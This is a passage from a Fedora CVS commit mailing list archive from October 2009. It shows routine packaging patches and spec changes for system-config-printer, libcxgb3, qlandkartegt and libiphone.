+* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Don't display properties dialog for first test page (bug #531490).
+
 * Wed Sep 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-3
 - Determine make/model for network printers (bug #524321).
 - Auto-select the correct driver entry for raw queues.



From twaugh at fedoraproject.org  Wed Oct 28 15:45:45 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:45:45 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-no-cancel-properties-dialog.patch, NONE,
	1.1 system-config-printer.spec, 1.300, 1.301
Message-ID: <20091028154545.7CC3711C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16790

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-no-cancel-properties-dialog.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Don't display properties dialog for first test page (bug #531490).


system-config-printer-no-cancel-properties-dialog.patch:
 system-config-printer.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE system-config-printer-no-cancel-properties-dialog.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.no-cancel-properties-dialog system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.no-cancel-properties-dialog	2009-10-28 14:41:15.654017107 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-28 15:29:53.600140205 +0000
@@ -6815,8 +6815,9 @@ class NewPrinterGUI(GtkGUI):
             response = q.run ()
             q.destroy ()
             if response == gtk.RESPONSE_YES:
-                # Display the properties dialog.
+                # Load the printer details but hide the properties dialog.
                 self.mainapp.display_properties_dialog_for (name)
+                self.mainapp.PrinterPropertiesDialog.hide ()
 
                 # Click the test button.
                 self.mainapp.btnPrintTestPage.clicked ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.300
retrieving revision 1.301
diff -u -p -r1.300 -r1.301
--- system-config-printer.spec	28 Oct 2009 15:44:13 -0000	1.300
+++ system-config-printer.spec	28 Oct 2009 15:45:45 -0000	1.301
@@ -25,6 +25,7 @@ Patch7: system-config-printer-find-retur
 Patch8: system-config-printer-physdev-traceback.patch
 Patch9: system-config-printer-autoselect-raw.patch
 Patch10: system-config-printer-network-model.patch
+Patch11: system-config-printer-no-cancel-properties-dialog.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -95,6 +96,7 @@ printers.
 %patch8 -p1 -b .physdev-traceback
 %patch9 -p1 -b .autoselect-raw
 %patch10 -p1 -b .network-model
+%patch11 -p1 -b .no-cancel-properties-dialog
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -207,6 +209,7 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Don't display properties dialog for first test page (bug #531490).
 - Determine make/model for network printers (bug #524321).
 - Auto-select the correct driver entry for raw queues.
 - Avoid traceback in PhysicalDevice.py.



From dledford at fedoraproject.org  Wed Oct 28 15:45:39 2009
From: dledford at fedoraproject.org (Doug Ledford)
Date: Wed, 28 Oct 2009 15:45:39 +0000 (UTC)
Subject: rpms/libcxgb3/F-12 libcxgb3.spec,1.3,1.4 sources,1.2,1.3
Message-ID: <20091028154539.D572C11C00E5@cvs1.fedora.phx.redhat.com>

Author: dledford

Update of /cvs/extras/rpms/libcxgb3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16762

Modified Files:
	libcxgb3.spec sources 
Log Message:
* Wed Oct 28 2009 Doug Ledford <dledford at redhat.com> - 1.2.5-1
- Update to latest version
- Add provides of libibverbs-driver



Index: libcxgb3.spec
===================================================================
RCS file: /cvs/extras/rpms/libcxgb3/F-12/libcxgb3.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libcxgb3.spec	25 Jul 2009 05:28:58 -0000	1.3
+++ libcxgb3.spec	28 Oct 2009 15:45:39 -0000	1.4
@@ -1,6 +1,6 @@
 Name: libcxgb3
-Version: 1.2.1
-Release: 3%{?dist}
+Version: 1.2.5
+Release: 1%{?dist}
 Summary: Chelsio T3 iWARP HCA Userspace Driver
 Group: System Environment/Libraries
 License: GPLv2 or BSD
@@ -10,6 +10,7 @@ Source1: libcxgb3-modprobe.conf
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libibverbs-devel >= 1.1, libtool
 Obsoletes: %{name}-devel
+Provides: libibverbs-driver
 %description
 Userspace hardware driver for use with the libibverbs InfiniBand/iWARP verbs
 library.  This driver enables Chelsio iWARP capable ethernet devices.
@@ -50,6 +51,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Wed Oct 28 2009 Doug Ledford <dledford at redhat.com> - 1.2.5-1
+- Update to latest version
+- Add provides of libibverbs-driver
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libcxgb3/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	30 Jun 2008 19:37:59 -0000	1.2
+++ sources	28 Oct 2009 15:45:39 -0000	1.3
@@ -1 +1 @@
-4e74c2961cde0d58b49acf5c9f797d86  libcxgb3-1.2.1.tar.gz
+ed2eaf99bc7cce401dd0549505febdd1  libcxgb3-1.2.5.tar.gz



From twaugh at fedoraproject.org  Wed Oct 28 15:51:11 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:51:11 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-jobs-window-visibility.patch, NONE,
	1.1 system-config-printer.spec, 1.294, 1.295
Message-ID: <20091028155111.0CE2C11C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17548

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-jobs-window-visibility.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Fixed visibility tracking for jobs window (bug #531438).


system-config-printer-jobs-window-visibility.patch:
 jobviewer.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-jobs-window-visibility.patch ---
diff -up system-config-printer-1.1.13/jobviewer.py.jobs-window-visibility system-config-printer-1.1.13/jobviewer.py
--- system-config-printer-1.1.13/jobviewer.py.jobs-window-visibility	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/jobviewer.py	2009-10-28 15:47:52.796015837 +0000
@@ -378,6 +378,7 @@ class JobViewer (GtkGUI, monitor.Watcher
     def on_delete_event(self, *args):
         if self.trayicon or not self.loop:
             self.JobsWindow.hide ()
+            self.JobsWindow.set_data ('visible', False)
             if not self.loop:
                 # Being run from main app, not applet
                 self.cleanup ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.294
retrieving revision 1.295
diff -u -p -r1.294 -r1.295
--- system-config-printer.spec	28 Oct 2009 15:45:34 -0000	1.294
+++ system-config-printer.spec	28 Oct 2009 15:51:10 -0000	1.295
@@ -24,6 +24,7 @@ Patch8: system-config-printer-physdev-tr
 Patch9: system-config-printer-autoselect-raw.patch
 Patch10: system-config-printer-network-model.patch
 Patch11: system-config-printer-no-cancel-properties-dialog.patch
+Patch12: system-config-printer-jobs-window-visibility.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -81,6 +82,7 @@ the configuration tool.
 %patch9 -p1 -b .autoselect-raw
 %patch10 -p1 -b .network-model
 %patch11 -p1 -b .no-cancel-properties-dialog
+%patch12 -p1 -b .jobs-window-visibility
 
 %build
 %configure
@@ -183,6 +185,7 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Fixed visibility tracking for jobs window (bug #531438).
 - Don't display properties dialog for first test page (bug #531490).
 
 * Wed Sep 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-3



From twaugh at fedoraproject.org  Wed Oct 28 15:51:23 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:51:23 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-jobs-window-visibility.patch, NONE,
	1.1 system-config-printer.spec, 1.301, 1.302
Message-ID: <20091028155123.506C911C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17672

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-jobs-window-visibility.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Fixed visibility tracking for jobs window (bug #531438).


system-config-printer-jobs-window-visibility.patch:
 jobviewer.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-jobs-window-visibility.patch ---
diff -up system-config-printer-1.1.13/jobviewer.py.jobs-window-visibility system-config-printer-1.1.13/jobviewer.py
--- system-config-printer-1.1.13/jobviewer.py.jobs-window-visibility	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/jobviewer.py	2009-10-28 15:47:52.796015837 +0000
@@ -378,6 +378,7 @@ class JobViewer (GtkGUI, monitor.Watcher
     def on_delete_event(self, *args):
         if self.trayicon or not self.loop:
             self.JobsWindow.hide ()
+            self.JobsWindow.set_data ('visible', False)
             if not self.loop:
                 # Being run from main app, not applet
                 self.cleanup ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.301
retrieving revision 1.302
diff -u -p -r1.301 -r1.302
--- system-config-printer.spec	28 Oct 2009 15:45:45 -0000	1.301
+++ system-config-printer.spec	28 Oct 2009 15:51:23 -0000	1.302
@@ -26,6 +26,7 @@ Patch8: system-config-printer-physdev-tr
 Patch9: system-config-printer-autoselect-raw.patch
 Patch10: system-config-printer-network-model.patch
 Patch11: system-config-printer-no-cancel-properties-dialog.patch
+Patch12: system-config-printer-jobs-window-visibility.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -97,6 +98,7 @@ printers.
 %patch9 -p1 -b .autoselect-raw
 %patch10 -p1 -b .network-model
 %patch11 -p1 -b .no-cancel-properties-dialog
+%patch12 -p1 -b .jobs-window-visibility
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -209,6 +211,7 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Fixed visibility tracking for jobs window (bug #531438).
 - Don't display properties dialog for first test page (bug #531490).
 - Determine make/model for network printers (bug #524321).
 - Auto-select the correct driver entry for raw queues.



From twaugh at fedoraproject.org  Wed Oct 28 15:55:15 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:55:15 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-strip-zxs-pcl3.patch, NONE,
	1.1 system-config-printer.spec, 1.295, 1.296
Message-ID: <20091028155515.6034511C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19263

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-strip-zxs-pcl3.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).


system-config-printer-strip-zxs-pcl3.patch:
 ppds.py |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE system-config-printer-strip-zxs-pcl3.patch ---
diff -up system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zxs-pcl3 system-config-printer-1.1.13/cupshelpers/ppds.py
--- system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zxs-pcl3	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/cupshelpers/ppds.py	2009-10-28 15:53:28.990139713 +0000
@@ -184,6 +184,8 @@ def ppdMakeModelSplit (ppd_make_and_mode
                    " ps3",
                    " pxl",
                    " series",
+                   " zxs",              # hpcups
+                   " pcl3",             # hpcups
                    "_bt",
                    ","]:
         s = modell.find (suffix)


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.295
retrieving revision 1.296
diff -u -p -r1.295 -r1.296
--- system-config-printer.spec	28 Oct 2009 15:51:10 -0000	1.295
+++ system-config-printer.spec	28 Oct 2009 15:55:15 -0000	1.296
@@ -25,6 +25,7 @@ Patch9: system-config-printer-autoselect
 Patch10: system-config-printer-network-model.patch
 Patch11: system-config-printer-no-cancel-properties-dialog.patch
 Patch12: system-config-printer-jobs-window-visibility.patch
+Patch13: system-config-printer-strip-zxs-pcl3.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -83,6 +84,7 @@ the configuration tool.
 %patch10 -p1 -b .network-model
 %patch11 -p1 -b .no-cancel-properties-dialog
 %patch12 -p1 -b .jobs-window-visibility
+%patch13 -p1 -b .strip-zxs-pcl3
 
 %build
 %configure
@@ -185,6 +187,7 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).
 - Fixed visibility tracking for jobs window (bug #531438).
 - Don't display properties dialog for first test page (bug #531490).
 



From twaugh at fedoraproject.org  Wed Oct 28 15:56:02 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:56:02 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-strip-zxs-pcl3.patch, NONE,
	1.1 system-config-printer.spec, 1.302, 1.303
Message-ID: <20091028155602.B823211C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19362

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-strip-zxs-pcl3.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).


system-config-printer-strip-zxs-pcl3.patch:
 ppds.py |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE system-config-printer-strip-zxs-pcl3.patch ---
diff -up system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zxs-pcl3 system-config-printer-1.1.13/cupshelpers/ppds.py
--- system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zxs-pcl3	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/cupshelpers/ppds.py	2009-10-28 15:53:28.990139713 +0000
@@ -184,6 +184,8 @@ def ppdMakeModelSplit (ppd_make_and_mode
                    " ps3",
                    " pxl",
                    " series",
+                   " zxs",              # hpcups
+                   " pcl3",             # hpcups
                    "_bt",
                    ","]:
         s = modell.find (suffix)


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.302
retrieving revision 1.303
diff -u -p -r1.302 -r1.303
--- system-config-printer.spec	28 Oct 2009 15:51:23 -0000	1.302
+++ system-config-printer.spec	28 Oct 2009 15:56:02 -0000	1.303
@@ -27,6 +27,7 @@ Patch9: system-config-printer-autoselect
 Patch10: system-config-printer-network-model.patch
 Patch11: system-config-printer-no-cancel-properties-dialog.patch
 Patch12: system-config-printer-jobs-window-visibility.patch
+Patch13: system-config-printer-strip-zxs-pcl3.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -99,6 +100,7 @@ printers.
 %patch10 -p1 -b .network-model
 %patch11 -p1 -b .no-cancel-properties-dialog
 %patch12 -p1 -b .jobs-window-visibility
+%patch13 -p1 -b .strip-zxs-pcl3
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -211,6 +213,7 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).
 - Fixed visibility tracking for jobs window (bug #531438).
 - Don't display properties dialog for first test page (bug #531490).
 - Determine make/model for network printers (bug #524321).



From twaugh at fedoraproject.org  Wed Oct 28 15:58:53 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:58:53 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-troubleshoot-network-printers.patch, NONE,
	1.1 system-config-printer.spec, 1.296, 1.297
Message-ID: <20091028155853.3E76311C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20232

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-troubleshoot-network-printers.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Troubleshoot: connect to the right server when choosing a network
  queue (bug #531482).


system-config-printer-troubleshoot-network-printers.patch:
 ChooseNetworkPrinter.py |    9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

--- NEW FILE system-config-printer-troubleshoot-network-printers.patch ---
diff -up system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py.troubleshoot-network-printers system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py
--- system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py.troubleshoot-network-printers	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py	2009-10-28 15:57:10.771014583 +0000
@@ -2,8 +2,8 @@
 
 ## Printing troubleshooter
 
-## Copyright (C) 2008 Red Hat, Inc.
-## Copyright (C) 2008 Tim Waugh <twaugh at redhat.com>
+## Copyright (C) 2008, 2009 Red Hat, Inc.
+## Author: Tim Waugh <twaugh at redhat.com>
 
 ## This program is free software; you can redistribute it and/or modify
 ## it under the terms of the GNU General Public License as published by
@@ -77,8 +77,9 @@ class ChooseNetworkPrinter(Question):
         parent = self.troubleshooter.get_window ()
 
         try:
-            cups.setServer (server)
-            self.op = TimedOperation (cups.Connection, parent=parent)
+            self.op = TimedOperation (cups.Connection, 
+                                      kwargs={"host": server},
+                                      parent=parent)
             c = self.op.run ()
             self.op = TimedOperation (c.getDests, parent=parent)
             dests = self.op.run ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.296
retrieving revision 1.297
diff -u -p -r1.296 -r1.297
--- system-config-printer.spec	28 Oct 2009 15:55:15 -0000	1.296
+++ system-config-printer.spec	28 Oct 2009 15:58:53 -0000	1.297
@@ -26,6 +26,7 @@ Patch10: system-config-printer-network-m
 Patch11: system-config-printer-no-cancel-properties-dialog.patch
 Patch12: system-config-printer-jobs-window-visibility.patch
 Patch13: system-config-printer-strip-zxs-pcl3.patch
+Patch14: system-config-printer-troubleshoot-network-printers.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -85,6 +86,7 @@ the configuration tool.
 %patch11 -p1 -b .no-cancel-properties-dialog
 %patch12 -p1 -b .jobs-window-visibility
 %patch13 -p1 -b .strip-zxs-pcl3
+%patch14 -p1 -b .troubleshoot-network-printers
 
 %build
 %configure
@@ -187,6 +189,8 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Troubleshoot: connect to the right server when choosing a network
+  queue (bug #531482).
 - Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).
 - Fixed visibility tracking for jobs window (bug #531438).
 - Don't display properties dialog for first test page (bug #531490).



From twaugh at fedoraproject.org  Wed Oct 28 15:59:51 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:59:51 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-troubleshoot-network-printers.patch, NONE,
	1.1 system-config-printer.spec, 1.303, 1.304
Message-ID: <20091028155951.33E9D11C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20332

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-troubleshoot-network-printers.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Troubleshoot: connect to the right server when choosing a network
  queue (bug #531482).


system-config-printer-troubleshoot-network-printers.patch:
 ChooseNetworkPrinter.py |    9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

--- NEW FILE system-config-printer-troubleshoot-network-printers.patch ---
diff -up system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py.troubleshoot-network-printers system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py
--- system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py.troubleshoot-network-printers	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py	2009-10-28 15:57:10.771014583 +0000
@@ -2,8 +2,8 @@
 
 ## Printing troubleshooter
 
-## Copyright (C) 2008 Red Hat, Inc.
-## Copyright (C) 2008 Tim Waugh <twaugh at redhat.com>
+## Copyright (C) 2008, 2009 Red Hat, Inc.
+## Author: Tim Waugh <twaugh at redhat.com>
 
 ## This program is free software; you can redistribute it and/or modify
 ## it under the terms of the GNU General Public License as published by
@@ -77,8 +77,9 @@ class ChooseNetworkPrinter(Question):
         parent = self.troubleshooter.get_window ()
 
         try:
-            cups.setServer (server)
-            self.op = TimedOperation (cups.Connection, parent=parent)
+            self.op = TimedOperation (cups.Connection, 
+                                      kwargs={"host": server},
+                                      parent=parent)
             c = self.op.run ()
             self.op = TimedOperation (c.getDests, parent=parent)
             dests = self.op.run ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.303
retrieving revision 1.304
diff -u -p -r1.303 -r1.304
--- system-config-printer.spec	28 Oct 2009 15:56:02 -0000	1.303
+++ system-config-printer.spec	28 Oct 2009 15:59:51 -0000	1.304
@@ -28,6 +28,7 @@ Patch10: system-config-printer-network-m
 Patch11: system-config-printer-no-cancel-properties-dialog.patch
 Patch12: system-config-printer-jobs-window-visibility.patch
 Patch13: system-config-printer-strip-zxs-pcl3.patch
+Patch14: system-config-printer-troubleshoot-network-printers.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -101,6 +102,7 @@ printers.
 %patch11 -p1 -b .no-cancel-properties-dialog
 %patch12 -p1 -b .jobs-window-visibility
 %patch13 -p1 -b .strip-zxs-pcl3
+%patch14 -p1 -b .troubleshoot-network-printers
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -213,6 +215,8 @@ exit 0
 
 %changelog
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Troubleshoot: connect to the right server when choosing a network
+  queue (bug #531482).
 - Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).
 - Fixed visibility tracking for jobs window (bug #531438).
 - Don't display properties dialog for first test page (bug #531490).



From sharkcz at fedoraproject.org  Wed Oct 28 16:06:36 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Wed, 28 Oct 2009 16:06:36 +0000 (UTC)
Subject: rpms/qlandkartegt/devel qlandkartegt-0.16.0-nogtkstyle.patch, NONE, 
	1.1 .cvsignore, 1.11, 1.12 qlandkartegt.spec, 1.12, 1.13 sources,
	1.11, 1.12 qlandkartegt-0.14.1-nogtkstyle.patch, 1.1, NONE
Message-ID: <20091028160636.62DEE11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/qlandkartegt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21134

Modified Files:
	.cvsignore qlandkartegt.spec sources 
Added Files:
	qlandkartegt-0.16.0-nogtkstyle.patch 
Removed Files:
	qlandkartegt-0.14.1-nogtkstyle.patch 
Log Message:
* Tue Oct 27 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
- update to 0.16.0


qlandkartegt-0.16.0-nogtkstyle.patch:
 main.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE qlandkartegt-0.16.0-nogtkstyle.patch ---
diff -Nrup qlandkartegt-0.16.0.orig/src/main.cpp qlandkartegt-0.16.0/src/main.cpp
--- qlandkartegt-0.16.0.orig/src/main.cpp	2009-10-26 22:19:47.000000000 +0100
+++ qlandkartegt-0.16.0/src/main.cpp	2009-10-27 09:40:14.000000000 +0100
@@ -61,6 +61,7 @@ int main(int argc, char ** argv)
 #ifndef WIN32
     setenv("LC_NUMERIC","C",1);
 #endif
+    QApplication::setStyle("cleanlooks");
     QApplication theApp(argc,argv);
 
 #ifdef ENABLE_TRANSLATION


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	19 Sep 2009 08:50:47 -0000	1.11
+++ .cvsignore	28 Oct 2009 16:06:35 -0000	1.12
@@ -1 +1 @@
-qlandkartegt-0.15.1.tar.gz
+qlandkartegt-0.16.0.tar.gz


Index: qlandkartegt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/devel/qlandkartegt.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- qlandkartegt.spec	19 Sep 2009 08:50:48 -0000	1.12
+++ qlandkartegt.spec	28 Oct 2009 16:06:36 -0000	1.13
@@ -1,5 +1,5 @@
 Name: qlandkartegt
-Version: 0.15.1
+Version: 0.16.0
 Release: 1%{?dist}
 Summary: GPS device mapping tool
 
@@ -8,7 +8,7 @@ License: GPLv2+
 URL: http://www.qlandkarte.org/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 # temporary fix until http://bugzilla.redhat.com/show_bug.cgi?id=498111 is resolved
-Patch0: %{name}-0.14.1-nogtkstyle.patch
+Patch0: %{name}-0.16.0-nogtkstyle.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: garmindev(interface) = 1.16
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 27 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
+- update to 0.16.0
+
 * Sat Sep 19 2009 Dan Hor?k <dan[at]danny.cz> 0.15.1-1
 - update to 0.15.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	19 Sep 2009 08:50:48 -0000	1.11
+++ sources	28 Oct 2009 16:06:36 -0000	1.12
@@ -1 +1 @@
-da0a44b980280a5c7c006f64363b8f67  qlandkartegt-0.15.1.tar.gz
+9af694894fe74c3f64971fcfc4055bbf  qlandkartegt-0.16.0.tar.gz


--- qlandkartegt-0.14.1-nogtkstyle.patch DELETED ---



From pbrobinson at fedoraproject.org  Wed Oct 28 16:07:26 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 28 Oct 2009 16:07:26 +0000 (UTC)
Subject: rpms/libiphone/devel .cvsignore, 1.6, 1.7 libiphone.spec, 1.15,
	1.16 sources, 1.7, 1.8
Message-ID: <20091028160726.D09EB11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/libiphone/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21313

Modified Files:
	.cvsignore libiphone.spec sources 
Log Message:
- Update to 0.9.4 release for new usbmuxd 1.0.0-rc1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libiphone/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	10 Aug 2009 15:31:59 -0000	1.6
+++ .cvsignore	28 Oct 2009 16:07:26 -0000	1.7
@@ -1 +1 @@
-libiphone-0.9.3.tar.bz2
+libiphone-0.9.4.tar.bz2


Index: libiphone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libiphone/devel/libiphone.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- libiphone.spec	10 Aug 2009 15:31:59 -0000	1.15
+++ libiphone.spec	28 Oct 2009 16:07:26 -0000	1.16
@@ -1,7 +1,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
